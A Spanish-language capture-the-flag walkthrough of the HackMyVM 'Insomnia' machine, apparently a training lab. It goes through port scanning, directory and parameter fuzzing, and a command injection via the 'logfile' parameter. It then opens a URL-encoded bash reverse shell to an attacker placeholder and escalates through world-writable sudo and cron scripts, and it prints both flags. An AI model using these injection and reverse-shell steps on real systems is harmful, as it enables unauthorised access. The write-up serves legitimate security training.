Insomnia HackMyVM (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-17 03:29 EDT
Nmap scan report for 192.168.5.21
Host is up (0.00082s latency).

PORT     STATE SERVICE VERSION
8080/tcp open  http    PHP cli server 5.5 or later (PHP 7.3.19-1)
|_http-title: Chat
MAC Address: 08:00:27:F2:3B:E1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.59 seconds

Vemos que hay un puerto 8080 en el que aloja una pagina web, si entramos dentro simplemente veremos un recuadro en el que nos pide que ingresemos un nombre de usuario, por defecto nos pone el usuario guest por lo que vamos a dejarlo asi.

Dandole a Ok nos llevara a una pagina en la que hay como una especie de chat donde podemos ingresar mensajes, si probamos a realizar un XSS veremos que va mas o menos, pero como que no se llega a ejecutar bien, por lo que vamos a realizar un poco de fuzzing.

Gobuster

gobuster dir -u http://<IP>:8080/ -w <WORDLIST> -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.21:8080/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================

Error: the server returns a status code that matches the provided options for non existing urls. http://192.168.5.21:8080/0ba12198-b861-48a1-b54e-2b54963392cd => 200 (Length: 2899). To continue please exclude the status code or the length

Nos pondra esto, por lo que tendremos que exluir la longitud que en este caso seria 2899.

gobuster dir -u http://<IP>:8080/ -w <WORDLIST> -x html,php,txt -t 50 -k -r --exclude-length 2899

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.21:8080/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Exclude Length:          2899
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/chat.txt             (Status: 200) [Size: 78]
/administration.php   (Status: 200) [Size: 65]
/process.php          (Status: 200) [Size: 2]

Vemos varias cosas interesantes, vamos a probar a entrar en el archivo llamado administration.php a ver que vemos.

URL = http://<IP>:8080/administration.php

Info:

You are not allowed to view :  
Your activity has been logged

Vemos que parece que tenemos que estar logueados vamos a ver el otro archivo.

URL = http://<IP>:8080/administration.php

Info:

[]

Tampoco vemos nada interesante, vamos a volver al archivo administration.php y probaremos a realizar fuzzing en busca de algun parametro de PHP que pueda ser vulnerable.

FFUF

ffuf -u http://<IP>:8080/administration.php\?FUZZ\=/etc/passwd -w <WORDLIST> -fs 65

Info:


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.5.21:8080/administration.php?FUZZ=/etc/passwd
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 65
________________________________________________
logfile                 [Status: 200, Size: 76, Words: 12, Lines: 3, Duration: 1214ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

Vemos que hemos encontrado un parametro llamado logfile, vamos a probarlo en dicho archivo a ver que vemos.

URL = http://<IP>:8080/administration.php?logfile=/etc/passwd

Info:

You are not allowed to view : /etc/passwd  
Your activity has been logged

No veremos gran cosa, pero si vamos al chat de la pagina veremos esto:

Vemos que se esta contemplando lo que hemos enviado, vamos a probar a enviar un comando directamente en vez de intentar leer un archivo.

Pero veremos que no se ejecuta, vamos a probar a poner primero chat.txt que sabemos que existe para ver si ese es el problema y que se piense que estamos logueados y despues concatenarlo con un comando.

URL = http://<IP>:8080/administration.php?logfile=chat.txt; id

Info:

You are not allowed to view : chat.txt; id  
Your activity has been logged

Ahora si volvemos al chat de la pagina principal, veremos esto:

Vemos que ha funcionado de forma correcta, por lo que vamos a generar una reverse shell de esta forma:

URL = http://<IP>:8080/administration.php?logfile=chat.txt%3B%20bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<IP_ATTACKER>%2F<PORT>%200%3E%261%22

Antes de enviarlo vamos a ponernos a la escucha.

nc -lvnp <PORT>

Ahora si enviamos el comando de la URL y volvemos a donde tenemos la escucha veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.21] 42496
bash: cannot set terminal process group (351): Inappropriate ioctl for device
bash: no job control in this shell
www-data@insomnia:~/html$ whoami
whoami
www-data

Vemos que hemos obtenido acceso de forma correcta, por lo que tendremos que sanitizar la shell.

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate user julia

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for www-data on insomnia:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on insomnia:
    (julia) NOPASSWD: /bin/bash /var/www/html/start.sh

Veremos que podemos ejecutar el script start.sh como el usuario julia por lo que vamos a ver que hace dicho script.

Si listamos los permisos que tiene veremos lo siguiente:

ls -la /var/www/html/start.sh

Info:

-rwxrwxrwx 1 root root 20 Dec 21  2020 /var/www/html/start.sh

Vemos que podemos modificar el script a nuestro gusto, por lo que haremos lo siguiente.

cd /var/www/html/
rm start.sh
nano start.sh

#Dentro del nano
#!/bin/bash

/bin/bash

Lo guardamos y le ponemos permisos de ejecuccion.

chmod +x start.sh

Ahora si lo ejecutamos de esta forma:

sudo -u julia bash /var/www/html/start.sh

Info:

julia@insomnia:/var/www/html$ whoami
julia

Vemos que ya seremos dicho usuario por lo que leeremos la flag del usuario.

user.txt

~~~~~~~~~~~~~\
USER INSOMNIA
~~~~~~~~~~~~~
Flag : [c2e285cb33cecdbeb83d2189e983a8c0]

Escalate Privileges

Despues de buscar un rato si leemos los crontabs que hay en el sistema, veremos lo siguiente:

cat /etc/crontab

Info:

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   root    /bin/bash /var/cron/check.sh
#

Vemos que el usuario root esta ejecutando un crontab respecto al archivo llamado check.sh vamos a investigar dicho archivo.

Si listamos los permisos del archivo veremos esto:

ls -la /var/cron/check.sh

Info:

-rwxrwxrwx 1 root root 153 Dec 21  2020 /var/cron/check.sh

Vemos que tambien lo podremos escribir, por lo que vamos abrir el archivo con nano y añadiremos una liena mas que sera la siguiente:

nano /var/cron/check.sh

#Dentro del nano
chmod u+s /bin/bash
................................<RESTO_DEL_CODIGO>.................................

Lo guardamos y solo tendremos que esperar un ratito a que se ejecute como root, despues de un rato si listamos la bash para ver si funciono, veremos esto.

ls -la /bin/bash

Info:

-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash

Vemos que efectivamente a funcionado, por lo que haremos esto:

bash -p

Info:

bash-5.0# whoami
root

Y con esto ya seremos el usuario root por lo que leeremos la flag de root.

root.txt

~~~~~~~~~~~~~~~\
ROOTED INSOMNIA
~~~~~~~~~~~~~~~
Flag : [c84baebe0faa2fcdc2f1a4a9f6e2fbfc]

by Alienum with <3

Last updated